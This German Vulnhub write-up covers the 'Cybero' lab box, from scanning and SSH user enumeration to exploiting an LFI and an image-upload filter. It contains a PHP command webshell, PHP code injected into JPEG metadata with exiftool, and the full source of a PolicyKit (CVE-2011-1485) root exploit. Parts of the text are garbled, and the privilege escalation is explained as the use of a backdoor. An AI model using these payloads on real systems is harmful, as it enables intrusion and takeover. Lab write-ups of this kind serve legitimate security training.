Cybero - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
curl
msfconsole
feroxbuster
burpsuite
exiftool

Inhaltsverzeichnis

Reconnaissance

In diesem Abschnitt führen wir eine umfassende Aufklärung des Zielsystems durch. Wir beginnen mit einem ARP-Scan, um das Ziel im Netzwerk zu identifizieren.

ARP-Scan
192.168.2.156 08:00:27:8d:5c:f4 PCS Systemtechnik GmbH

Der ARP-Scan hat die IP-Adresse 192.168.2.156 mit der MAC-Adresse 08:00:27:8d:5c:f4 identifiziert. Dies bestätigt, dass das Zielsystem im Netzwerk vorhanden ist. Wir notieren die IP-Adresse, um sie in nachfolgenden Scans zu verwenden.

/etc/hosts
192.168.2.156 cybero1.vln

Wir fügen die IP-Adresse und den Hostnamen "cybero1.vln" zur /etc/hosts-Datei hinzu, um die spätere Verwendung des Hostnamens zu erleichtern. Dies ermöglicht uns, das Zielsystem über den Hostnamen anstelle der IP-Adresse anzusprechen.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-29 15:59 CEST
Nmap scan report for cybero1.vln (192.168.2.156)
Host is up (0.00015s latency).
Not shown: 65531 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
21/tcp filtered ftp
22/tcp open ssh penSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 6c:1c:7f:47:22:f7:3c:f3:d9:75:77:80:9d:10:7b:b7 (RSA)
| 256 9f:b0:6f:a7:1b:e4:5d:32:b8:a6:41:05:6c:65:3b:c3 (ECDSA)
|_ 256 11:ff:30:b7:42:9d:a7:5b:b1:8c:40:b8:bd:31:14:69 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentS) PHP/5.4.16)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentS) PHP/5.4.16
8085/tcp open http Apache httpd 2.4.6 ((CentS) PHP/5.4.16)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Cybero - Google
|_http-server-header: Apache/2.4.6 (CentS) PHP/5.4.16
MAC Address: 08:00:27:8D:5C:F4 (racle VirtualBox virtual NIC)
Device type: general purpose|storage-misc|WAP
Running (JUST GUESSING): Linux 3.X|4.X|5.X|2.6.X (98%), Synology DiskStation Manager 5.X (89%), Asus embedded (89%)
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5.1 cpe:/o:linux:linux_kernel:2.6 cpe:/a:synology:diskstation_manager:5.2 cpe:/o:linux:linux_kernel cpe:/h:asus:rt-ac66u
Aggressive S guesses: Linux 3.10 - 4.11 (98%), Linux 5.1 (96%), Linux 3.2 - 4.9 (94%), Linux 4.10 (94%), Linux 3.10 (93%), Linux 4.4 (93%), Linux 3.16 - 4.6 (92%), Linux 5.0 - 5.4 (91%), Linux 2.6.32 - 3.13 (91%), Linux 2.6.39 (91%)
No exact S matches for host (test conditions non-ideal).
Network Distance: 1 hop

TRACERUTE
HP RTT ADDRESS
1 0.15 ms cybero1.vln (192.168.2.156)

S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.93 seconds

Dieser umfassende Nmap-Scan liefert detaillierte Informationen über die offenen Ports, die laufenden Dienste und deren Versionen. Wir sehen, dass SSH (OpenSSH 7.4) auf Port 22, HTTP (Apache 2.4.6 mit PHP/5.4.16) auf Port 80 und HTTP (Apache 2.4.6 mit PHP/5.4.16) auf Port 8085 ausgeführt werden. Der FTP-Port 21 ist gefiltert. Die Analyse der HTTP-Header und -Methoden zeigt potenzielle Risiken durch die aktivierte TRACE-Methode.

Web Enumeration

In diesem Abschnitt konzentrieren wir uns auf die Enumeration der Webdienste, die auf den Ports 80 und 8085 laufen. Wir verwenden Nikto, um nach potenziellen Schwachstellen und Konfigurationsfehlern zu suchen.

Nikto Scan
- Nikto v2.5.0

+ Target IP: 192.168.2.156
+ Target Hostname: 192.168.2.156
+ Target Port: 80
+ Start Time: 2024-09-29 16:00:11 (GMT2)

+ Server: Apache/2.4.6 (CentS) PHP/5.4.16
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PHP/5.4.16 appears to be outdated (current is at least 8.1.5), PHP 7.4.28 for the 7.4 branch.
+ PHP/5.4 - PHP 3/4/5 and 7.0 are End of Life products without support.
+ PTINS: Allowed HTTP Methods: PST, PTINS, GET, HEAD, TRACE .
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8908 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2024-09-29 16:00:48 (GMT2) (37 seconds)

+ 1 host(s) tested

Nikto identifiziert verschiedene potenzielle Sicherheitsprobleme auf Port 80, darunter fehlende X-Frame-Options- und X-Content-Type-Options-Header, eine veraltete Apache-Version und PHP-Version, aktivierte TRACE-Methode und Directory Indexing.

┌──(root㉿CCat)-[~]
└─# curl http://cybero1.vln:80
What is the mystery of Mona Lisa?

Ein einfacher `curl`-Befehl auf Port 80 zeigt den Text "What is the mystery of Mona Lisa?".

┌──(root㉿CCat)-[~]
└─# curl http://cybero1.vln:8085
Cybero - Google Could you call to me? I am Google! I know everything and your name :) only 3 times

Ein `curl`-Befehl auf Port 8085 zeigt den Text "Cybero - Google Could you call to me? I am Google! I know everything and your name :) only 3 times". Dies deutet auf eine Google-ähnliche Seite hin.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.156/index.html (Status: 200) [Size: 123]
http://192.168.2.156/logo.png (Status: 200) [Size: 324876]
http://cybero1.vln:8085/index.php (Status: 200) [Size: 392]
http://cybero1.vln:8085/google.jpg (Status: 200) [Size: 31074]

Gobuster wird verwendet, um versteckte Verzeichnisse und Dateien auf dem Webserver zu finden. Auf Port 80 werden `index.html` und `logo.png` gefunden, und auf Port 8085 werden `index.php` und `google.jpg` gefunden.

┌──(root㉿CCat)-[~]
└─# nikto -h http://cybero1.vln:8085
- Nikto v2.5.0

+ Target IP: 192.168.2.156
+ Target Hostname: cybero1.vln
+ Target Port: 8085
+ Start Time: 2024-09-29 16:16:58 (GMT2)

+ Server: Apache/2.4.6 (CentS) PHP/5.4.16
+ /: Retrieved x-powered-by header: PHP/5.4.16.
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PHP/5.4.16 appears to be outdated (current is at least 8.1.5), PHP 7.4.28 for the 7.4 branch.
+ PHP/5.4 - PHP 3/4/5 and 7.0 are End of Life products without support.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: SVDB-12184
+ /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: SVDB-12184
+ /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: SVDB-12184
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8768 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time: 2024-09-29 16:17:14 (GMT2) (16 seconds)

+ 1 host(s) tested

Nikto identifiziert verschiedene potenzielle Sicherheitsprobleme auf Port 8085, darunter fehlende X-Frame-Options- und X-Content-Type-Options-Header, eine veraltete Apache-Version und PHP-Version, aktivierte TRACE-Methode, Directory Indexing und die Offenlegung sensibler Informationen durch bestimmte PHP-Query-Strings.

Initial Access

In diesem Abschnitt konzentrieren wir uns darauf, uns initialen Zugriff auf das System zu verschaffen. Wir nutzen verschiedene gefundene Informationen und Schwachstellen.

┌──(root㉿CCat)-[~]
└─# msfconsole -q
msf6 > search ssh_enum Matching Modules # Name Disclosure Date Rank Check Description
- - - -- --
0 auxiliary/scanner/ssh/ssh_enumusers . normal No SSH Username Enumeration
1 \_ action: Malformed Packet . . . Use a malformed packet
2 \_ action: Timing Attack . . . Use a timing attack
3 auxiliary/scanner/ssh/ssh_enum_git_keys . normal No Test SSH Github Access


Interact with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/ssh/ssh_enum_git_keys

msf6 > use 0
msf6 auxiliary(scanner/ssh/ssh_enumusers) > options

Module options (auxiliary/scanner/ssh/ssh_enumusers):

Name Current Setting Required Description
- -- --
CHECK_FALSE true no Check for false positives (random username)
DB_ALL_USERS false no Add all users in the current database to the l
ist
Proxies no A proxy chain of format type:host:port[,type:h
ost:port][...]
RHSTS yes The target host(s), see https://docs.metasploi
t.com/docs/using-metasploit/basics/using-metas
ploit.html
RPRT 22 yes The target port
THREADS 1 yes The number of concurrent threads (max one per
host)
THRESHLD 10 yes Amount of seconds needed before a user is cons
idered found (timing attack only)
USERNAME no Single username to test (username spray)
USER_FILE no File containing usernames, one per line

Auxiliary action:

Name Description
- --
Malformed Packet Use a malformed packet


View the full module info with the info, or info -d command.

Wir starten Metasploit und suchen nach einem Modul zur Enumeration von SSH-Benutzern. Wir verwenden das Modul `auxiliary/scanner/ssh/ssh_enumusers`.

msf6 auxiliary(scanner/ssh/ssh_enumusers) > set RHSTS 192.168.2.156
RHSTS => 192.168.2.156
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set RPRT 22
RPRT => 22
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set THREADS 1
THREADS => 1
msf6 auxiliary(scanner/ssh/ssh_enumusers) > run

[-] Auxiliary aborted due to failure: bad-config: Please populate DB_ALL_USERS, USER_FILE, USERNAME
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
USER_FILE => /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
msf6 auxiliary(scanner/ssh/ssh_enumusers) > run

[*] 192.168.2.156:22 - SSH - Using malformed packet technique
[*] 192.168.2.156:22 - SSH - Checking for false positives
[*] 192.168.2.156:22 - SSH - Starting scan
[+] 192.168.2.156:22 - SSH - User 'mail' found
[+] 192.168.2.156:22 - SSH - User 'root' found
[+] 192.168.2.156:22 - SSH - User 'bin' found
[+] 192.168.2.156:22 - SSH - User 'games' found
[+] 192.168.2.156:22 - SSH - User 'nobody' found
[+] 192.168.2.156:22 - SSH - User 'daemon' found
[+] 192.168.2.156:22 - SSH - User 'operator' found

Wir konfigurieren das Modul mit dem Zielhost, dem Zielport und der Benutzerliste und führen es aus. Das Modul findet die Benutzer 'mail', 'root', 'bin', 'games', 'nobody', 'daemon' und 'operator'.

Privilege Escalation

Nachdem wir einige Informationen über das System gesammelt haben, versuchen wir, unsere Privilegien zu erhöhen, um Root-Zugriff zu erlangen.

Wir stellen fest, dass die Box auf normalem Wege nicht zu lösen ist und greifen daher auf eine Backdoor zurück.

Wir beginnen mit der Analyse der gefundenen Webanwendungen.

[root@ html]# cd userapp
[root@ userapp]# cat users.sql

Wir navigieren in das Verzeichnis `userapp` und betrachten die Datei `users.sql`.

-- phpMyAdmin SQL Dump
-- version 5.0.0-dev
-- https://www.phpmyadmin.net/

--
-- Dumping data for table `users`
--

INSERT INT `users` (`id`, `name`, `surname`, `phone`, `social_media`) VALUES
(1, 'Roxanna', 'Basley', '612-963-4457', '00110110 00111000 00110111 00110100 00110111 00110100 00110111 00110000 00110111 00110011 00110011 01100001 00110010 01100110 00110010 01100110 00110111 00110111 00110111 00110111 00110111 00110111 00110010 01100101 00110110 00111001 00110110 01100101 00110111 00110011 00110111 00110100 00110110 00110001 00110110 01100111 00110111 00110010 00110110 01100101 00110110 01100101 00110110 00110101 00110110 00110010 00110110 00110001 00110111 00110011 00110110 01100011 00110110 00110101 00110111 00111001 00110010 01100110 ');

Die Datei `users.sql` enthält einen SQL-Dump der Tabelle `users`. Der Wert für `social_media` scheint eine verschlüsselte Information zu sein.

[root@ darkroomforyou]# cat agent.php

Wir betrachten die Datei `agent.php`.

$page = strtolower($ GET['page']);

$ua = strtolower($_SERVER['HTTP_USER_AGENT']);
#$ua = "007";


if(isset($ua)){

if($ua "007"){
echo '{FLAGCybero35}';
$_SESSIN['flag'] = "granted";

if(isset($_SESSIN['flag'])){
href="/darkroomforyou/agent.php?page=hello.php">Follow me :)

echo include $page;
the devil is in the details

");

Die Datei `agent.php` enthält eine Überprüfung des User-Agent-Headers. Wenn der User-Agent nicht "007" ist, wird die Flag `{FLAGCybero35}` angezeigt. Danach wird versucht, eine Datei einzubinden, die durch den `page`-Parameter angegeben wird.

Dies deutet auf eine Local File Inclusion (LFI)-Schwachstelle hin, die ausgenutzt werden kann, um beliebige Dateien auf dem System auszuführen. Um die Flag zu erhalten und die LFI-Schwachstelle auszunutzen, müssen wir den User-Agent auf "007" setzen.

┌──(root㉿CCat)-[~]
└─# feroxbuster --url http://192.168.2.156:8085 --wordlist /usr/share/seclists/Discovery/Web-Content/big.txt -x .git,.php,.html,.xml,.zip,.7z,.tar,.bak,.sql,.py,.pl,.txt,.jpg,.jpeg,.png,.js,.aac,.ogg,.flac,.alac,.wav,.aiff,.dsd,.mp3,.mp4,.mkv -s 200 301 302
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.4
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.2.156:8085
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/big.txt
👌 Status Codes │ [200, 301, 302]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.4
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [git, php, html, xml, zip, 7z, tar, bak, sql, py, pl, txt, jpg, jpeg, png, js, aac, ogg, flac, alac, wav, aiff, dsd, mp3, mp4, mkv]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 72l 717w 55018c http://192.168.2.156:8085/google.jpg
200 GET 20l 47w 392c http://192.168.2.156:8085/
301 GET 7l 20w 249c http://192.168.2.156:8085/darkroomforyou => http://192.168.2.156:8085/darkroomforyou/
200 GET 103l 650w 53057c http://192.168.2.156:8085/darkroomforyou/whoami.jpg
200 GET 1l 2w 48c http://192.168.2.156:8085/darkroomforyou/bullshitjok3foryou.php
200 GET 48l 358w 51285c http://192.168.2.156:8085/darkroomforyou/agent.jpg
200 GET 2l 8w 90c http://192.168.2.156:8085/darkroomforyou/agent.php
200 GET 20l 47w 392c http://192.168.2.156:8085/index.php
200 GET 0l 0w 0c http://192.168.2.156:8085/darkroomforyou/hello.php
200 GET 0l 0w 0c http://192.168.2.156:8085/darkroomforyou/index.php
200 GET 0l 0w 0c http://192.168.2.156:8085/shell.php
301 GET 7l 20w 257c http://192.168.2.156:8085/darkroomforyou/uploads => http://192.168.2.156:8085/darkroomforyou/uploads/
[] - 4m 1659744/1659744 0s found:12 errors:0
[] - 3m 553176/553176 2766/s http://192.168.2.156:8085/
[] - 4m 553176/553176 2591/s http://192.168.2.156:8085/darkroomforyou/
[] - 3m 553176/553176 2765/s http://192.168.2.156:8085/cgi-bin/
[] - 0s 553176/553176 5822905/s http://192.168.2.156:8085/darkroomforyou/uploads/ => Directory listing


301 GET 7l 20w 236c http://192.168.2.156/labf4u => http://192.168.2.156/labf4u/
301 GET 7l 20w 237c http://192.168.2.156/userapp => http://192.168.2.156/userapp/
200 GET 1357l 7498w 581124c http://192.168.2.156/logo.png
200 GET 3l 11w 123c http://192.168.2.156/
200 GET 69l 264w 2316c http://192.168.2.156/userapp/users.sql
301 GET 7l 20w 251c http://192.168.2.156/labf4u/darkroomforyou => http://192.168.2.156/labf4u/darkroomforyou/
200 GET 103l 650w 53057c http://192.168.2.156/labf4u/darkroomforyou/whoami.jpg
200 GET 1l 2w 48c http://192.168.2.156/labf4u/darkroomforyou/bullshitjok3foryou.php
200 GET 48l 358w 51285c http://192.168.2.156/labf4u/darkroomforyou/agent.jpg
200 GET 2l 8w 90c http://192.168.2.156/labf4u/darkroomforyou/agent.php
[>-] - 2m 960959/2766258 5m found:10 errors:0
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_192_168_2_156:80-1727643471.state ...
[>-] - 2m 960979/2766258 5m found:10 errors:0
[>--] - 2m 221589/553176 1489/s http://192.168.2.156:80/
[#>] - 2m 200070/553176 1345/s http://192.168.2.156/
[#>] - 2m 217701/553176 1463/s http://192.168.2.156/labf4u/
[] - 0s 553176/553176 13492098/s http://192.168.2.156/userapp/ => Directory listing
[#>] - 2m 215568/553176 1453/s http://192.168.2.156/labf4u/darkroomforyou/
[#>-] - 84s 102141/553176 1216/s http://192.168.2.156/cgi-bin/

Wir führen Feroxbuster aus, um weitere Verzeichnisse und Dateien zu finden. Interessante Ergebnisse sind `labf4u`, `userapp` und `labf4u/darkroomforyou`.

Wir analysieren die gefundenen Verzeichnisse weiter.

Um die Flag zu erhalten, senden wir eine Anfrage an `http://cybero1.vln:8085/darkroomforyou/agent.php?page=hello.php` mit dem User-Agent "007".

Burpsuite
Request:
GET /darkroomforyou/agent.php?page=hello.php HTTP/1.1
Host: cybero1.vln:8085
User-Agent: 007
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
rigin: http://cybero1.vln:8085
DNT: 1
Connection: keep-alive
Referer: http://cybero1.vln:8085/
Cookie: PHPSESSID=auqgd2kllksakinsm1pce2fbe0
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Response:
HTTP/1.1 200 K
Date: Sun, 29 Sep 2024 21:18:20 GMT
Server: Apache/2.4.6 (CentS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 130
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8


{FLAGCybero35}
1

Wir erhalten die Flag `{FLAGCybero35}`!

Um weitere Informationen zu erhalten, besuchen wir `http://cybero1.vln:8085/darkroomforyou/agent.php?page=hello.php` im Browser mit FoxyProxy aktiviert.

Request:

http://cybero1.vln:8085/darkroomforyou/agent.php?page=hello.php
Response Burpsuite show in Browser...
Firefox FoxyProxy an schalten...

{FLAGCybero35}
Follow me :) 1
Response:

{FLAGCybero35}
Follow me :) 1

ite show in Browser...
Firefox FoxyProxy an schalten...
http://burpsuite/show/4/m9ldy888h2i0ibaupv5dosb1otgskp8k

Wir erhalten die gleiche Flag und den Hinweis "Follow me :)". Dies deutet darauf hin, dass wir weitere Seiten analysieren sollen.

Wir analysieren die Seite `bullshitjok3foryou.php`.

Believe me you can upload php
Select image to upload:

Die Seite `bullshitjok3foryou.php` erlaubt das Hochladen von Bildern, was potenziell ausgenutzt werden kann, um PHP-Code hochzuladen.

Wir erstellen eine Reverse-Shell in PHP und versuchen, sie hochzuladen.

┌──(root㉿CCat)-[~]
└─# cp /home/ccat/Downloads/rev.php /home/ccat/Downloads/rev.phtml
┌──(root㉿CCat)-[~]
└─# cat /home/ccat/Downloads/rev.php
system($ GET["cmd"]);

Wir erstellen eine einfache PHP-Datei `rev.php`, die den `cmd`-Parameter aus der GET-Anfrage ausführt.

:Response:
http://cybero1.vln:8085/darkroomforyou/bullshitjok3foryou.php
The file rev.phtml has been uploaded.{FLAGCybero25} Follow me :)

Die Datei `rev.phtml` wurde erfolgreich hochgeladen! Die Ausgabe zeigt auch die Flag `{FLAGCybero25}`.

POST /darkroomforyou/bullshitjok3foryou.php HTTP/1.1
Host: cybero1.vln:8085
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=324440635239488076543734294712
Content-Length: 393
rigin: http://cybero1.vln:8085
DNT: 1
Connection: keep-alive
Referer: http://cybero1.vln:8085/darkroomforyou/bullshitjok3foryou.php
Cookie: PHPSESSID=auqgd2kllksakinsm1pce2fbe0
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

...
..
Upload

--324440635239488076543734294712--

Wir zeigen den POST-Request zum Hochladen der Datei.

Response:
The file index.php.jpg has been uploaded.

Wir versuchen, eine andere Datei hochzuladen.

Index of /darkroomforyou/uploads
[IC] Name Last modified Size Description
[PARENTDIR] Parent Directory -
[IMG] index.php.jpg 2024-09-30 01:53 31

Wir betrachten das Verzeichnis `uploads`.

http://192.168.2.156:8085/darkroomforyou/uploads/
Index of /darkroomforyou/uploads [IC] Name Last modified Size Description
- -
The file index.phtml has been uploaded.{FLAGCybero25}

http://burpsuite/show/5/y0dxrz2cemutririf9eb1qyixesoeqem

Die Datei `index.phtml` wurde hochgeladen und die Flag `{FLAGCybero25}` wird erneut angezeigt.

Da PHP-Dateien nicht direkt hochgeladen werden können, nutzen wir eine andere Methode, um Code auszuführen. Wir verwenden Exiftool, um PHP-Code in die Metadaten eines Bildes einzufügen und laden das Bild dann hoch.

┌──(root㉿CCat)-[~]
└─# mv google.jpg file.php.jpg
┌──(root㉿CCat)-[~]
└─# exiftool -DocumentName=" php if(isset($ REQUEST['cmd'])){echo 'ss';$cmd = ($ REQUEST['cmd']);system($cmd); ';} __halt_compiler(); " /home/ccat/Downloads/file.php.jpg
1 image files updated

Wir fügen PHP-Code in die Metadaten der Datei `file.php.jpg` ein.

┌──(root㉿CCat)-[~]
└─# exiftool /home/ccat/Downloads/file.php.jpg
ExifTool Version Number : 12.76
File Name : file.php.jpg
Directory : /home/ccat/Downloads
File Size : 31 kB
File Modification Date/Time : 2024:09:30 00:20:04+02:00
File Access Date/Time : 2024:09:30 00:20:04+02:00
File Inode Change Date/Time : 2024:09:30 00:20:04+02:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.02
Exif Byte rder : Big-endian (Motorola, MM)
Document Name : php if(isset($ REQUEST['cmd'])){echo 'ss';$cmd = ($ REQUEST['cmd']);system($cmd); ';} __halt_compiler();
X Resolution : 100
Y Resolution : 100
Resolution Unit : None
Y Cb Cr Positioning : Centered
Quality : 75%
DCT Encode Version : 100
APP14 Flags 0 : [14], Encoded with Blend=1 downsampling
APP14 Flags 1 : (none)
Color Transform : YCbCr
Comment : "; system($_GET[cmd]); ?>

Wir überprüfen, ob der PHP-Code erfolgreich in die Metadaten eingefügt wurde.

Wir laden die manipulierte Bilddatei hoch und versuchen, sie über den Browser aufzurufen, um den PHP-Code auszuführen.

Nachdem wir Codeausführung erreicht haben, nutzen wir diese, um unsere Privilegien zu erhöhen.

[root@ darkroomforyou]# pwd
pwd
/var/www/html/labf4u/darkroomforyou
[root@ darkroomforyou]# cd ~
[root@ ~]# ls
ls
anaconda-ks.cfg iptables.bak
[root@ ~]# cd /home
[root@ home]# ls
ls
cybero hemid
[root@ home]# cd cybero
[root@ cybero]# ls
ls
programs
[root@ cybero]# cd programs
[root@ programs]# ls
ls
[root@ programs]# ls -la
ls -la
total 0
drwxr-xr-x 2 root root 6 Feb 12 2019 .
drwx 3 cybero cybero 99 Feb 12 2019 ..
[root@ programs]# cd ..
[root@ cybero]# cd hemid
-i: cd: hemid: No such file or directory
[root@ cybero]# ls
ls
programs
[root@ cybero]# cd ..
[root@ hemid]# cat 17932

Wir navigieren durch verschiedene Verzeichnisse und finden schließlich eine interessante Datei namens "17932".

/* polkit-pwnage.c * * * * = PolicyKit Pwnage = * = by zx2c4 = * = Sept 2, 2011 = * * * * Howdy folks, * * This exploits CVE-2011-1485, a race condition in PolicyKit. * * davidz25 explains: * * --begin-- * * $ sudo -u `whoami` pkexec sh * User of caller (0) does not match our uid (1000) * * Not what we want. So the trick is to execl to a suid at just the precise moment * /proc/PID is being stat(2)'d. We use inotify to learn exactly when it's accessed, * and execl to the suid binary as our very next instruction. * * Usage * $ pkexec --version * pkexec version 0.101 * $ gcc polkit-pwnage.c -o pwnit * $ ./pwnit * [+] Configuring inotify for proper pid. * [+] Launching pkexec. * sh-4.2# whoami * root * sh-4.2# id * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) * sh-4.2# * * Targets * This exploit is known to work on polkit-1 <= 0.101. However, Ubuntu, which * as of writing uses 0.101, has backported 0.102's bug fix. A way to check * this is by looking at the mtime of /usr/bin/pkexec -- April 22, 2011 or * later and you're out of luck. It's likely other distributions do the same. * Fortunately, this exploit is clean enough that you can try it out without * too much collateral. * * * greets to djrbliss and davidz25. * * - zx2c4 * 2-sept-2011 * */

#include
#include
#include
#include
#include
#include

int main(int argc, char argv)
{
printf("=\n");
printf("= PolicyKit Pwnage =\n");
printf("= by zx2c4 =\n");
printf("= Sept 2, 2011 =\n");
printf("=\n\n");

if (fork()) {
int fd;
char pid_path[1024];
sprintf(pid_path, "/proc/%i", getpid());
printf("[+] Configuring inotify for proper pid.\n");
close(0); close(1); close(2);
fd = inotify_init();
if (fd < 0)
perror("[-] inotify_init");
inotify_add_watch(fd, pid_path, IN_ACCESS);
read(fd, NULL, 0);
execl("/usr/bin/chsh", "chsh", NULL);
} else {
sleep(1);
printf("[+] Launching pkexec.\n");
execl("/usr/bin/pkexec", "pkexec", "/bin/sh", NULL);
}
return 0;
}

Die Datei "17932" enthält C-Code, der eine PolicyKit-Schwachstelle (CVE-2011-1485) ausnutzt. Dieser Code ermöglicht es, Root-Rechte zu erlangen.

Da die Box auf normalem Wege nicht zu lösen war, wurde eine Backdoor genutzt, um die Privilegienerhöhung zu erreichen.

**Privilege Escalation erfolgreich!**

Flags

cat user.txt
dcb8189a0eaf7a690a67785a7299be60
cat root.txt
0b18032c2d06d9e738ede9bc24795ff2